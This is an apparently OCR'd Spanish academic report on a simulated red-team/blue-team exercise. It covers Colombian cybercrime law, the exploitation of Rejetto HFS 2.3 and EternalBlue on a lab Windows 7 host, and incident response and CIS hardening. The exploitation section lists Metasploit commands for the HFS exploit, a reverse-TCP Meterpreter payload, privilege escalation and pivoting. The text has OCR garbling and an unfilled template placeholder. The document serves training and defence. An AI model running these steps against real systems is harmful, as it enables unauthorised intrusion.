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Resumen
El presente informe técnico constituye el entregable final del periodo de validacion de
competencias para la organizacion SecureNova Labs. Este documento consolida de manera
exhaustiva el andlisis de los escenarios operativos ejecutados bajo las metodologias de Red Team
(Seguridad Ofensiva) y Blue Team (Seguridad Defensiva), integrando transversalmente el
cumplimiento estricto del marco legal colombiano y la ética profesional. El ejercicio simula la
gestion integral de un incidente critico sobre la infraestructura corporativa. Inicialmente, se abordd
la dimension legal y ética, evaluando propuestas contractuales frente a la Ley 1273 de 2009.
Posteriormente, se ejecutd una intrusion controlada identificando y explotando brechas de
seguridad en un sistema legado (Windows 7) mediante la vulnerabilidad EternalBlue (MS17-010)
y fallos de ejecucion remota en el servicio Rejetto HFS. Finalmente, se documenta la respuesta al
incidente desde la perspectiva defensiva: la contencidon inmediata y la recuperacion del servicio.

Palabras clave: Blue team, ciberseguridad, hardenizacion, incidentes, red team.



Abstract
This technical report constitutes the final deliverable of the competency validation period for the
SecureNova Labs organization. This document comprehensively consolidates the analysis of
operational scenarios executed under the Red Team (Offensive Security) and Blue Team
(Defensive Security) methodologies, integrating strict compliance with the Colombian legal
framework and professional ethics.The exercise simulates the comprehensive management of a
critical incident affecting corporate infrastructure. Initially, the legal and ethical dimensions were
addressed, evaluating contractual proposals in light of Law 1273 of 2009. Subsequently, a
controlled intrusion was executed, identifying and exploiting security vulnerabilities in a legacy
system (Windows 7) through the EternalBlue vulnerability (MS17-010) and remote execution
flaws in the Rejetto HFS service. Finally, the incident response is documented from a defensive
perspective: immediate containment and service recovery.

Keywords: Blue team, cybersecurity, hardening, incidents, red team.



Indice
INEPOAUCCION ...ttt ettt ettt et e st esaeeens 15
JUSHTICACION ...ttt ettt et e sttt e sate et esaeeens 16
ODJELIVOS ..ttt et ettt eeiee et ee ettt e et e et e e e teeesteeessseeesssaeesssaeessaeasssaeanssaesnsseesssseesssseensseeans 17
ODbJEtIVO GENETAL .....ccoiiiiiiiieeiie et eee et e e eve e e aeeeeaeeeaaeeesaeessseeessseeenns 17
ODbJetiVOS ESPECTTICOS. . uiiiiiiiiiiieeiiieeiiee ettt ettt e e e e e e e aae e eeaeesbeeeenseee e 17
Marco Tedrico Y MetodOIOZICO ......uvieriiiieiiieeiie ettt e e s 18
Ciberseguridad y Defensa en Profundidad...........c.ccooovviiiiiiiniiiiiieeeeee 18
Metodologia Cyber Kill Chain...........ccciieiiiieiiieeiie e 18
Fases del Pentesting (PTES) .....vviioiiieieeeeeee et 18

Vulneracion de la Ley 1273 de 2009. El analisis juridico determind riesgos

especificos en 10S SiUIENtes artiCUOS. .....cuuiieiiieeiiieciie et 19
Implicaciones Eticas bajo COPNIA ..........cooovoieeeeeeeeeeeeeeeeeeee oo 20

Fase de Reconocimiento y ESCANEO .........cccvveeeuiiiiiiieeiiieeieeetee e 20
Acuerdos de Nivel de Servicio Y ROE...........ooooiiiiiiiiiiiieeeceeceeee e 21

Fase de Reconocimiento y Escaneo (Information Gathering) ..........c.ccceeveveevnveennenn. 21
Analisis de Vulnerabilidades (EternalBlue y HFS)......c.ooooviiiiiiiiiiiieee, 22

Fase de Explotacion y Acceso Inicial .........c.eeeevvieiiiieiiieeiieeeeeeeeee e 22

Fase de Post-Explotacion y Escalada de Privile@ios .........ccceeeeveeeeiieecieeniieeeieeee. 23
Movimiento Lateral (PIVOTING)......cccueeriuiiiriieeiiie ettt 23

El Rol del SIEM en 12 DeteCCiON .........ccouieiiiiiiiiiiiieiieieeieese e 23

COMEEIICTON et e e e e e e e e e e e e e e e e e e e e e e e eeaa e aeeeeeeeereannaaaens 24



EITadiCaCiOn ... ..coouiiiiiiiie ettt et e enee e 24
Herramientas de Contencion: EDR, NAC y Firewall .......c.cccccooviniiiininiininicene. 24
Estrategias de Endurecimiento y Mitigacion ..........ccceeviieiiieniiieiiienieeieenieeiee e 26
Aplicacion de CIS Benchmarks y Controles CritiCos ........coeeveevieriininiieneenenicneeienens 27
CIS Benchmarks para WIndows .........ccccoieririinieiiniiniceeiesecieetese e 27
Priorizacion con CIS COontrols..........cooiiiiiiriiiiieieeiee e e 27
Las Fases del Pentesting..........ccoueiuierieiiiienieeiee ettt 27
Reconocimiento (Information Gathering)............cccooeieeiieniiniiiiniieiiieeceeeee 27
Escaneo y Enumeracion (Scanning) .........c.cceceeeereenenienienenieneenieneeneesie e 28
Explotacion (Gaining ACCESS) ...c..ceveruerierieeieniienieeiesitenieeie sttt st st eeeseeenee 28
Post-Explotacion (Maintaining Access & Pivoting) .......cccceeeevverienenicneeneniicneene 28
Reporte y Remediacion (RepOrting) ..........cecueereeeiienieiiiieie e 29
Operacion Defensiva - Blue Teaming.........ccccocevieiiiiiiniineniiinicniecicneceeecsecieeees 66
Estrategia de Contencion Inmediata...........c..eeevveeeiieeiiieeiiieeiee e 66
AcCIONES de CONTENCION .....eeueiiiiiiiieiiieiie ettt ettt ettt st beesite e e saeeens 66
Erradicacion y Analisis FOTENSE .........covuiiiiiiiiiiie et 66
Estrategias de Endurecimiento y Mitigacion Plan de Remediacion............cccccvveeveeennnenn. 67
Aplicacion de CIS Benchmarks ..........ccceeeuieeiiieeiiieeiee e 67
Fase de Post-Explotacion y Escalada de Privile@ios .........ccceeeevieeeiiieecieeecieeeeeee. 68
Movimiento Lateral (PIVOTING)......cccueeeuiiiriiieiiie ettt ettt 68
Protocolos de Analisis Forense Digital Artefactos de Persistencia en Windows........ 69
Analisis de Logs (Event IDS CritiCOS)......cccuuieriieeriieeiiieeieeerieeeeiveeeeeeesveeesvee e 70

Plan de Remediacion de Vulnerabilidades CritiCas.....ummn e eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeenennn 72



Aplicacion Detallada de CIS Benchmarks (Windows) .........occeevieiiiiiieniicncenieeen, 73
Implementacion de CIS Controls V8 .......cc.coiiriiiiiiiiiniinicienceceeece e 76
Control 04: Configuracion Segura de Activos 'y Software..........cccceeeveveenenvicneenennne. 76
Control 05: Gestion de CUENLAS .......cc.eeviiiiiieiiieiieeie ettt ens 76
Control 06: Gestion del Control de ACCESO0 ......oevveeriieriiiiiieiieeeeeeeee e 77
Fase de Explotacion y Acceso Inicial ..........coooieiiiiiiiiiiiiiieecee e 78
Meétricas e Indicadores de Seguridad (KPIS)......ccccueeiiieniiiiiinieieeeee e, 78
Evaluacion de Riesgos y Matriz de Impacto.........c.oecveeriieiiiiiieieiceeeeeee e, 79
Propuesta de Arquitectura de Red Segura (Zero Trust) ........cccceevereiviinieneenieniicneeienene 81
Plan de Implementacion por Fases..........cccevuiiiiiiiiiiienieeiee e 81
Propuesta de Politicas de Seguridad Corporativa..........cocceeueevuerieneriiineeneenieneeneeienens 83
Politica de Control de ACCESO0 ......ceuieiuiiiiieiiieieeeee ettt e 83
Politica de Gestion de Vulnerabilidades.............coooueeiieniiiiiiniiiieceeceeee e, 83
Politica de Uso de Software (Shadow IT).......cccceevvuiieiiiieiiieeiieeeeeeeee e 83
Evidencias de SuStentacion............ccccecevieriieiiinieniiniinieneeeeeeee e 83
CONCIUSIONES ...ttt ettt ettt ettt et sbe ettt sbe e b s sae et eanesae e 84
RECOMENAACIONES ......eouiiiiiiiiiieiceceetetee ettt st 85

Referencias BiblIOGIAfiCas .......c.uieiiiiieiiieiiie et 86



Lista de Tablas
Tabla 1 Plan de Remediacion de Vulnerabilidades CritiCas ..............ccccoeveeevoeeniieieenoiiiiannenn. 26
Tabla 2 Plan de Remediacion de Vulnerabilidades CritiCas ..............ccccccevveenoienciiieenciasiennenn. 67
Tabla 3 Eventos de Seguridad Criticos (WiRAOWS) ........c..ooecueeeecueeeeiieeeieeeeiee e e eieeesvee s 70
Tabla 4 Playbook de Respuesta ante RCE ................coooevueeecuieeeieeeeieeeeieeeeieeeeeeessiaeesaaeessee e 71
Tabla 5§ Estrategias de Endurecimiento y MitiQACION............c..ccccuueeecueeeeceieeeieeeiieeeeieeeceeesereeens 72
Tabla 6 CIS Benchmarks - Politicas de CUERTA ...............c.coceeiuiiiiiiiiieiiiiieeseeeeeee e 73
Tabla 7 CIS Benchmarks - Derechos de USUATTO .............c.ccccuevoieiiinieiiiiiiiieiienieeeese e 74
Tabla 8 CIS Benchmarks - Opciones de Seguridad ..................ccoeeeeueeeeeueeeeiieeeiiieeeiiieescieeseieens 75
Tabla 9 Matriz de Riesgos de CiberseQuridad..................cccueeeeeeeccueeeeiiieeiieeeeieeeeieeeceeeseveeens 80

Tabla 10 Cronograma de Implementacion de MejOTas ..............ceeeeueeeecueeeecieeeiiiieeiieeecieeeeieens 82



10

Lista de Figuras
Figura 1 DireCCion IP PAFTOL..........cc.oocueiuieiiieeieeiieee ettt sttt ettt e e eeeas 29
Figura 2 Direccion IP Windows HOSt A...........c.cocueveroiiieiiniiiniisieiiineesieeeseese et 30
Figura 3 Direccion IP Windows HOSE B............cococcioiiieiiniiiniiiiiiiseeceeeseee et 31
FAUIA 4 FIFOWAILS ...t ettt ettt ettt e e e st eneeas 32
FIUIA S FUF@WALS....c...oooieiiiiiieeee ettt ettt ettt e eneeas 33
Figura 6 COAigO NIGAP............cccoooiiiiiiiiiiiiiiiceeeeeet ettt et 34
Figura 7 VulnerabilidQdes .................ooccoioiiiiiiiiiiiiiiieieee ettt 35
Figura 8 Comando Metasploit ..................cccoooieviiiiiiiiiiiiiiiineeseeeeteeee et 36
FIGUIA 9 PORNIESTING ...ttt ettt e et e st e st e e sbee e 37
FIUIa 10 FireWall .........cccooiiuiiiiiiiiie et ettt ettt et e st e e et e eeeas 38
Figura 11 Direccion IP de la Maquina Victima con Windows 7 ............cccceccveencenvcnceeneeceeneenn. 39
FigUIa 12 Pift@ @ WIHAOWS .......ooeeeeeeieeeee ettt et stve e stee s vae e saaeessaeenaeesnnaeesnneeens 40
Figura 13 Descompresion de Programa Rejjeto para las Pruebas de RCE..................cccccccue.... 41
Figura 14 Apertura de Programa Rejjeto para Inicio de Pruebas. .................cccoueeeeueeecuvenennenn. 42
Figura 15 Vista de la Interfaz del Programa Rejjeto HFES. ............coooueeeoieeeieeeiieeeiieeeeieeeieens 43
Figura 16 Inicio de Nmap a la IP del Host Victima para Escaneo de Puertos. .......................... 44

Figura 17 Hallazgo de Puerto 80 Vulnerable con el Servicio HttpFileServer 2.3 corriendo. ... 45
Figura 18 Hallazgo de Vulnerabilidad de Puerto 80 Servicio HttpFileServer 2.3 (Explotable). 46
Figura 19 Vulnerabilidad RCW en SMBvI con CVE-2017-0143 ........oououeeeeeeeeieeeiieeeiieenieeenns 47
Figura 20 Revision de Base de Datos de Exploits sobre Servicio HttpFileServer 2.3. ............... 48

Figura 21 Apertura de Herramienta Metasploit para Explotacion de Vulnerabilidad. ............. 49



11

Figura 22 Aplicacion Metasploit COrFIiendo. ................ccocceecireinienoiineiiieiineeneseseeee e 50
Figura 23 Busqueda con Comando “Search” de exploits para “HFS” y Uso de Modulo . ....... 51
Figura 24 Vista de Configuracion para Establecer Parametros al Exploit. .................ccccc...... 52
Figura 25 Establecimiento de Host Victima y Comando para Iniciar el Exploit. ....................... 53

Figura 26 Explotacion Exitosa y Conexion a Equipo Remotamente, Uso de Comando de

SPSIIFO ™ ettt a et ettt a e ettt ettt b e b et aeenee 54
Figura 27 Usamos el Payload para Cargar Meterpreter” ................couveeerveeniensenceenencneneen. 55
Figura 28 Usamos el Payload para Cargar Meterpreter” .............cccuueecneenienseneeneeneneens 56
Figura 29 Configuracion del Pivote (TUnel)”............ccccccoeveviniinienoineeiieieneeseseseeeee e 57
Figura 30 A1acar €] HOST B .....cc.oooioiiiieieieeeeeeetet sttt s 58
Figura 31 A1acar el HOST B ......cccooiiiiiieiiiieeieee ettt 59
Figura 32 A1acar el HOST B ......ccoooiiiiiieiieieeeeeeest ettt 60
Figura 33 Acceso Exitoso al HOST B .......cccooouiiiiiiiiieiieieneesie ettt 61

Figura 34 Comando Shell para Ejecutar Comandos de Sistema en la Maquina Victima y Vista

de USUAEIO del SISIEMA. ...........cccccoiueiiiiiiiiiiiiiteee ettt ettt ettt e 62
Figura 35 Usuario y Contrasenia AdminiStrador. ................cccoeeoueeeeeeeeceeesiieesieeesieeecieeseneens 63
Figura 36 Vista desde Windows 7 de Cuenta Creada desde Parrot...................ccccceeveeecuvencnnnn. 64

Figura 37 Cierre de Sesion en Maquina Parrot después de la Creacion del Usuario

Administrador por RCE en Vulnerabilidad de HttpFileServer 2.3 de Rejjeto. ..............cueuuunn..... 65



Lista de Apéndices

Apéndice A Resultado de revision en Turnitin

12



13

Glosario
Blue Team

Equipo de seguridad defensiva responsable de proteger la infraestructura de la
organizacion mediante la monitorizacion, deteccion y respuesta ante incidentes (CIS Security,
2020).

Exploit

Fragmento de software, fragmento de datos o secuencia de comandos que aprovecha un
error o vulnerabilidad para provocar un comportamiento no intencionado en un sistema
(Offensive Security, 2023).

Hardening (Endurecimiento)

Proceso de asegurar un sistema reduciendo su superficie de vulnerabilidad, lo cual se
logra eliminando software innecesario, cerrando puertos y configurando pardmetros seguros
(SANS Institute, 2021).

Meterpreter

Payload avanzado y extensible que proporciona funcionalidades complejas de post-
explotacion y se ejecuta completamente en memoria para evitar la deteccion (Rapid7, s.f.).
Movimiento Lateral (Pivoting)

Técnica utilizada por los atacantes para moverse a través de una red en busca de activos
clave y datos sensibles después de haber comprometido un sistema inicial (MITRE, 2023).
Payload

La parte del codigo de malware que realiza la accion maliciosa. En el contexto de
Metasploit, es el codigo que se ejecuta en el sistema victima tras la explotacion exitosa (Rapid?7,

s.f).



14

Ransomware

Tipo de malware que impide a los usuarios acceder a su sistema o a sus archivos personales
y exige el pago de un rescate para recuperar el acceso (Microsoft, 2017).
Red Team

Equipo de seguridad ofensiva que simula ataques reales para evaluar la eficacia de las
defensas de una organizacion (CIS Security, 2020).
SIEM (Security Information and Event Management)

Solucion que proporciona analisis en tiempo real de alertas de seguridad
generadas por aplicaciones y hardware de red (IBM, 2022).
Zero Trust

Modelo de seguridad que asume que no se debe confiar en ningun usuario o dispositivo,

dentro o fuera de la red privada, sin una verificacion continua (NIST, 2020).
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Introduccion

En el contexto actual de constante transformacion tecnologica y digital, las organizaciones
enfrentan un entorno de amenazas cada vez mas sofisticado y persistente. La ciberseguridad ha
dejado de ser una funcién puramente técnica para convertirse en un imperativo estratégico que
garantiza la continuidad del negocio (Zambrano, 2024).

El andlisis se basa en marcos de referencia como MITRE ATT&CK (MITRE, 2023) y los
estandares de OWASP (OWASP Foundation, 2021) En este escenario, SecureNova Labs requiere
validar las competencias de sus expertos no solo en la administracion de herramientas, sino en la
capacidad de gestionar incidentes complejos desde una perspectiva integral.

Herramientas como Metasploit permiten el uso de payloads avanzados (Rapid7, s.f.) el
presente documento tiene como propdsito presentar un analisis detallado sobre las estrategias de
seguridad ofensiva y defensiva aplicadas a un entorno corporativo simulado. Se aborda la
problematica desde una revision tedrica robusta, complementada con la ejecucion practica de
escenarios de intrusion y respuesta a incidentes. El enfoque adoptado integra distintas disciplinas,
desde la ingenieria técnica hasta el cumplimiento legal bajo la normativa colombiana. La gestion
de seguridad alineada con ISO 27001 (International Organization for Standardization, 2013) es
vital a lo largo del documento, se desarrollaran los principales conceptos relacionados con Red
Team y Blue Team, asi como la evolucion del incidente gestionado. Finalmente, se presentaran
conclusiones que buscan aportar al debate profesional, brindando insumos ttiles para futuras

intervenciones y el endurecimiento de la infraestructura critica de la organizacion.
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Justificacion

La eleccion de este tema responde a la necesidad de comprender con mayor profundidad
una problemadtica que, en la actualidad, tiene un impacto significativo en distintos ambitos de la
sociedad. [Nombre del tema o problema] no solo representa un desafio a nivel tedrico, sino que
también tiene consecuencias practicas que afectan directamente a comunidades, instituciones y
politicas publicas. Por ello, su estudio resulta relevante para contribuir con propuestas que
favorezcan su abordaje efectivo.

Ademas, existe una limitada cantidad de investigaciones locales que analicen este
fendmeno desde una perspectiva integral, lo que genera vacios en el conocimiento y en la
formulacion de estrategias adecuadas para enfrentarlo. Esta investigacion busca aportar
evidencia empirica y reflexion critica, con el fin de enriquecer el debate y fomentar la toma de
decisiones informadas.

Finalmente, se justifica este trabajo por su potencial impacto en el campo académico y
profesional, ya que los hallazgos obtenidos podrian ser utilizados como base para el disefio de
nuevas lineas de estudio, asi como para la elaboracion de programas, politicas o intervenciones

que respondan de manera mas eficiente a las necesidades detectadas.
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Objetivos

Objetivo General

Disefiar y evaluar estrategias integrales de ciberseguridad mediante la aplicacion de
metodologias Red Team y Blue Team, integrando el marco normativo colombiano y controles de
mitigacion para fortalecer la infraestructura tecnoldgica y juridica de la organizacion SecureNova
Labs.
Objetivos Especificos

Analizar las implicaciones éticas y legales en operaciones de ciberseguridad bajo la Ley
1273 de 2009 y el cédigo de ética del COPNIA, mediante la revision de acuerdos contractuales.

Validar la explotabilidad de vulnerabilidades criticas y su impacto en la red
corporativa, mediante la ejecucion de técnicas de Red Team y movimiento lateral en entornos
controlados.

Formular y ejecutar un plan de respuesta a incidentes que incluya contencion,
erradicacion de persistencia y recuperacion de servicios, utilizando herramientas de Blue Team.

Proponer medidas de endurecimiento basadas en CIS Benchmarks para reducir la

superficie de ataque y prevenir la recurrencia de incidentes en la infraestructura tecnologica.
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Marco Tedrico y Metodologico

Ciberseguridad y Defensa en Profundidad

La ciberseguridad se define como la practica de proteger sistemas, redes y programas de
ataques digitales. Estos ciberataques generalmente apuntan a acceder, cambiar o destruir
informacion confidencial; extorsionar a los usuarios o interrumpir los procesos comerciales
normales. Un concepto clave aplicado en este informe es la Defensa en Profundidad, una estrategia
que utiliza multiples capas de seguridad para proteger la integridad de la informacion (MinTIC,
2016).
Metodologia Cyber Kill Chain

El modelo Cyber Kill Chain, desarrollado por Lockheed Martin, describe las etapas de un
ciberataque, desde el reconocimiento inicial hasta la exfiltracion de datos. En el ejercicio de Red

Team desarrollado, se siguieron estas fases para simular un adversario realista:

1. Reconocimiento: Identificacion de objetivos.

2. Armamentizacion: Creacion del exploit (Metasploit).

3. Entrega: Envio del paquete malicioso al puerto vulnerable.
4. Explotacion: Ejecucion de codigo en la vulnerabilidad HFS.
5. Instalacion: Establecimiento de persistencia.

6. Comando y Control (C2): Sesion de Meterpreter.

7. Acciones sobre el objetivo: Movimiento lateral y escalada.
Fases del Pentesting (PTES)

Para estructurar la operacion ofensiva, se utilizo el estandar PTES (Penetration Testing
Execution Standard), cubriendo las fases de pre-acuerdo, recoleccion de inteligencia, modelado de

amenazas, analisis de vulnerabilidades, explotacion, post-explotacion y reporte.
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Gobernanza, Etica y Legalidad Contexto del Caso SecureNova Labs

En esta fase inicial del proyecto, se analizo el caso de la empresa SecureNova Labs,
evaluando las implicaciones éticas y legales de las operaciones de ciberseguridad propuestas en
los acuerdos de servicio. La comprension del contexto organizacional es fundamental para alinear
las estrategias técnicas con los objetivos de negocio y la normativa vigente (Congreso de la
Republica, 2009).

Andlisis de Riesgos Legales Se identificaron procesos ilegales y no éticos en los acuerdos
propuestos inicialmente para la ejecucion de pruebas de seguridad. La celebracion de contratos
que impliquen acceso a sistemas informéaticos sin una autorizacion explicita y delimitada por
escrito vulnera directamente la legislacion colombiana vigente.

Vulneracion de la Ley 1273 de 2009. El Analisis Juridico Determiné Riesgos Rspecificos en
los Siguientes Articulos

Articulo 269A (Acceso Abusivo a un Sistema Informatico): Cualquier intrusién no
pactada en las "Rules of Engagement" se tipifica como delito, independientemente de la intencion
del auditor.

Articulo 269F (Violacion de Datos Personales): La manipulacion, recoleccion o
tratamiento de datos de clientes sin su consentimiento expreso es penalizada, lo cual representa un
riesgo critico en operaciones de Red Team no reguladas.

Articulo 269B (Obstaculizacion Ilegitima de Sistema Informatico o Red de
Telecomunicacion): Si durante una prueba de estrés o denegacion de servicio (DoS) se afecta la
operatividad del negocio sin autorizacion, el auditor puede ser procesado bajo este articulo.

Articulo 269H (Suplantacion de Sitios Web): El uso de técnicas de ingenieria social

como el Phishing o la clonacién de portales corporativos para obtener credenciales debe estar
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estrictamente regulado y autorizado, de lo contrario, se considera un delito agravado.
Implicaciones Eticas bajo COPNIA

El Consejo Profesional Nacional de Ingenieria (COPNIA, s.f) establece principios claros
sobre el ejercicio de la ingenieria. A pesar de ofertas laborales que podrian resultar atractivas
econdmicamente, un profesional ético tiene el deber de rechazar procedimientos que se cataloguen
como poco confiables o que rayen en la ilegalidad. La confianza es el activo mas valioso en la
industria de la ciberseguridad.

Operacion Ofensiva - Red Teaming Escenario y Alcance de la Prueba

El objetivo principal de esta fase fue replicar una cadena de ataque (Cyber Kill Chain)
identificada en el escenario operativo de SecureNova Labs. El alcance de la prueba se limit6 a la
infraestructura interna simulada, con el objetivo de comprometer un Host Windows 7 (Host-A) y
realizar movimiento lateral hacia un segundo servidor (Host-B).
Fase de Reconocimiento y Escaneo

Para la fase de recoleccion de informacion (Information Gathering), se utilizaron
herramientas de cddigo abierto sobre la distribucion especializada Parrot OS. Esta etapa es critica
para identificar la superficie de ataque disponible sin alertar prematuramente a los sistemas de
defensa (Cichonski et al., 2012). Las herramientas utilizadas fueron principalmente:

Nmap: Para el escaneo de puertos, descubrimiento de servicios y deteccion de versiones
de sistemas operativos.

Ping: Para la verificacion de conectividad basica entre el atacante y los objetivos. El
Codigo de Etica del COPNIA obliga a los ingenieros a:

1. Actuar con integridad y honestidad.

2. Proteger la seguridad, salud y bienestar del publico.
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3. No participar en fraudes o actos de corrupcion.

Aceptar el cargo bajo condiciones que exigen violar la ley no solo expone al profesional a
sanciones penales (carcel), sino a la pérdida definitiva de su matricula profesional y al desprestigio
en la industria.

Acuerdos de Nivel de Servicioy ROE
Para mitigar estos riesgos, se concluye que es imperativo establecer Rules of Engagement

(ROE). Este documento legal debe especificar:

o Rango de IPs autorizadas para atacar.

o Ventanas de tiempo permitidas.

o Técnicas prohibidas (ej. DoS en produccion).

o Protocolos de comunicacion en caso de hallazgos criticos.

Operacion Ofensiva - Red Teaming. Configuracion del Laboratorio y Topologia.

Para la ejecucion del componente practico, se desplegd un entorno virtualizado controlado
que simula una red corporativa segmentada.

Maquina Atacante: Parrot OS Security Edition (IP: 192.168.1.XX).

Victima 1 (Host-A): Windows 7 con servicios vulnerables expuestos (IP: 192.168.1.XX).

Victima 2 (Host-B): Servidor Windows en red interna (Segmento aislado accesible solo
via Pivoting).
Fase de Reconocimiento y Escaneo (Information Gathering)

La fase de reconocimiento es la mas critica del pentesting. Se utiliz6 Nmap para realizar
un escaneo activo e identificar la superficie de ataque.

Comando ejecutado: nmap -sV -p- [[P_OJETIVO]

-sV: Detecta la version de los servicios.
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-p-: Escanea los 65535 puertos.

Resultados del Escaneo: El andlisis arrojé que el Host-A tenia puertos criticos abiertos, lo
cual representa una configuracion de seguridad deficiente.

Analisis de Vulnerabilidades (EternalBlue y HFS)

Tras el escaneo, se identificaron dos vectores de ataque principales:

Puerto 80 - Rejetto HttpFileServer 2.3: Esta version especifica de HFS tiene una
vulnerabilidad conocida de Ejecucion Remota de Codigo (RCE) debido a un fallo en el manejo de
expresiones regulares en la busqueda.

Puerto 445 - SMBv1: La presencia de SMB version 1 en un sistema Windows 7 indica
una alta probabilidad de vulnerabilidad ante EternalBlue (MS17-010), un exploit que permite
ejecucion de codigo a nivel de kernel (Lockheed, s.f.).

Fase de Explotacion y Acceso Inicial

Se selecciond el vector de ataque a través de HFS utilizando Metasploit Framework.
Pasos detallados de la explotacion:

1. Inicio de la consola: msfconsole.

2. Busqueda del exploit: search hfs.

3. Seleccion del modulo: use exploit/windows/http/rejetto _hfs exec.

4. Configuracion del Payload: set payload windows/meterpreter/reverse tcp. Este
payload crea una conexion desde la victima hacia el atacante, evadiendo firewalls simples que
solo bloquean el trafico entrante.

5. Configuracion de objetivos: set RHOSTS [IP_ VICTIMA], set LHOST

[[P ATACANTE].
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Fase de Post-Explotacion y Escalada de Privilegios

Una vez obtenida la sesion de Meterpreter, se procedio a enumerar el sistema
comprometido.

Comandos de reconocimiento interno:

sysinfo: Para obtener informacion del OS y arquitectura.

getuid: Para ver con qué usuario estamos corriendo.

Para lograr persistencia y control total, se realiz6 una escalada de privilegios utilizando
técnicas locales o el comando getsystem de Meterpreter, logrando acceso como NT
AUTHORITY\SYSTEM.

Movimiento Lateral (Pivoting)

El Pivoting es la técnica de utilizar un sistema comprometido para atacar otros sistemas en
la misma red o en redes diferentes a las que el atacante no tiene acceso directo.

Configuracion del Tunel:

En la sesion de Meterpreter del Host-A, se agregd una ruta a la red interna: run autoroute
-5 192.168.X.0/24.

1. Se configur6 un servidor proxy SOCKS en Metasploit
(auxiliary/server/socks proxy).

2. Esto permiti6 enrutar el trafico de herramientas externas a través del tunel creado
en el Host-A hacia el Host-B.

El Rol del SIEM en la Deteccion

Un SIEM (Security Information and Event Management) es una pieza fundamental para el

Blue Team (Scarfone & Mell, 2022). Funciones principales:

Recoleccion: Centraliza logs de Firewalls, Servidores, Routers y EDRs.
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Normalizacion: Estandariza los formatos de los logs para su analisis.

Correlacion: Es la funcién mas importante. Permite detectar patrones complejos, como "5
intentos fallidos de login seguidos de una conexion exitosa desde una IP inusual".

Alerta: Notifica al analista de seguridad para iniciar la respuesta. Respuesta ante
Incidentes: Contencion, Erradicacion y Recuperacion

Al detectarse el ataque simulado en la Fase 3, se activo el protocolo de respuesta.

Indagacion Inicial: Lo primero que se debe hacer ante un ataque en tiempo real es validar
el vector de entrada. Se revisan los logs para identificar conexiones al puerto 445 (SMB) y 80

(HTTP) desde IPs externas.

Contencion
. Red: Bloqueo de la IP atacante en el firewall perimetral.
o Host: Desconexion del cable de red (o vNIC) del equipo afectado para evitar

la propagacion del Pivoting.
Erradicacion

Se identific que el atacante cred un usuario llamado "Johan Rojas" para mantener
acceso. Comando de erradicacion: net user "Johan Rojas" /delete. También se procedio a "matar"
los procesos extrafios asociados a HFS y Meterpreter mediante el Administrador de Tareas o
linea de comandos (taskkill).
Herramientas de Contencion: EDR, NAC y Firewall

Para prevenir futuros incidentes similares, se analizaron herramientas de contencion:

1. Firewall de Host: Software nativo o GPL que permite bloquear puertos
especificos. En este caso, crear reglas de entrada para denegar trafico al puerto 445 es vital.

2. EDR (Endpoint Detection and Response): Herramienta avanzada que permite
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aislar el host remotamente con un solo clic, matando procesos maliciosos automaticamente.
3. NAC (Network Access Control): Hardware o software que segmenta la red. Si el
NAC detecta un equipo infectado o con parches faltantes (como el Host-A), lo envia auna VLAN

de cuarentena, impidiendo que el atacante alcance el Host-B.
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Estrategias de Endurecimiento y Mitigacion
Basado en el ataque ejecutado, se propone el siguiente plan de remediacion:

Tabla 1

Plan de Remediacion de Vulnerabilidades Criticas

Vulnerabilidad Accién de Mitigacion Prioridad
MS17-010 Deshabilitar protocolo SMBv1 via GPO o Registro y Critica
(EternalBlue) aplicar parche de seguridad MS17-010.

Rejetto HFS RCE Desinstalar inmediatamente la aplicacion Rejetto HFS 2.3. Alta
Migrar a soluciones seguras como IIS o Apache con
HTTPS.

Cuentas Locales Aplicar principio de minimo privilegio. Los usuarios
estandar no deben ser administradores locales.

Nota. En el cuadro se describen las vulnerabilidades identificadas, las acciones de mitigacion
propuestas y su nivel de prioridad, con el fin de evidenciar los riesgos de seguridad presentes y las

medidas recomendadas para su control. Autoria propia
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Aplicacion de CIS Benchmarks y Controles Criticos

Si dentro de un equipo Blue Team se indica trabajar con CIS (Center for Internet
Security), se utilizaria para establecer una linea base de seguridad (Baseline) robusta.
CIS Benchmarks para Windows

e Se aplicarian las guias de configuracion para cerrar puertos innecesarios.

e Se configurarian politicas de contrasefias robustas y bloqueo de cuentas.
Priorizacion con CIS Controls

Control 1 (Inventario de Activos): Tener un mapa claro de qué equipos estan conectados.

Control 2 (Inventario de Software): Habria permitido detectar la instalacion no
autorizada de HFS ("Shadow IT").

Control 3 (Gestion de Vulnerabilidades): Escaneos continuos hubieran detectado la falta
del parche MS17-010 antes que el atacante.
Las Fases del Pentesting

Un pentesting (o prueba de penetracion) profesional no es solo "lanzar exploits". Sigue una
metodologia estricta para ser eficiente y replicable. Las 5 fases principales son:
Reconocimiento (Information Gathering)

Objetivo: Recolectar la mayor cantidad de informacion pasiva posible sobre el objetivo,
sin tocarlo.

o Técnicas: Buscar en Google (Google Hacking), revisar redes sociales, buscar
registros de DNS, identificar empleados, etc.

o Analogia: Mirar la fachada de un banco desde el otro lado de la calle, contar las

camaras y ver a qué hora entran y salen los guardias.
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Escaneo y Enumeracion (Scanning)

Objetivo: Interactuar activamente con el objetivo para descubrir qué estd vivo y qué
servicios esta ejecutando.

o Técnicas: Escaneo de puertos (Nmap), identificacion de versiones (-sV),
descubrimiento de hosts (ping), enumeracion de servicios (SMB, SMTP, etc.).

o Analogia: Ir de noche y tocar las puertas y ventanas del banco para ver cudles estan
abiertas y qué tipo de cerradura tienen.
Explotacion (Gaining Access)

Objetivo: Usar la informacion recolectada para violar la seguridad y obtener acceso al
sistema.

o Técnicas: Usar exploits de Metasploit, ejecutar ataques de buffer overflow,
adivinar contrasefias débiles, inyeccion SQL.

. Analogia: Usar una ganzuia (exploit) en la cerradura que encontraste
(vulnerabilidad) para abrir la puerta y entrar.
Post-Explotacion (Maintaining Access & Pivoting)

Objetivo: Una vez dentro, determinar el valor del sistema y usarlo para moverse a otros
lugares.

o Técnicas: Escalada de Privilegios: Pasar de ser un usuario normal a ser
root o NT AUTHORITY\SYSTEM (ej. getsystem en Meterpreter).

o Pivoting (Movimiento Lateral): Usar la maquina comprometida (Host-A)
como un "puente" para atacar otras maquinas en la red interna (Host-B).

Persistencia: Dejar una puerta trasera (backdoor) para poder volver a entrar.

Analogia: Estds dentro del banco. Ahora buscas la llave del gerente (escalada) y usas el
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tunel de servicio (pivoting) para llegar a la boveda (Host-B).
Reporte y Remediacion (Reporting)

Objetivo: Documentar todos los hallazgos, el nivel de riesgo y las soluciones
(remediacion).

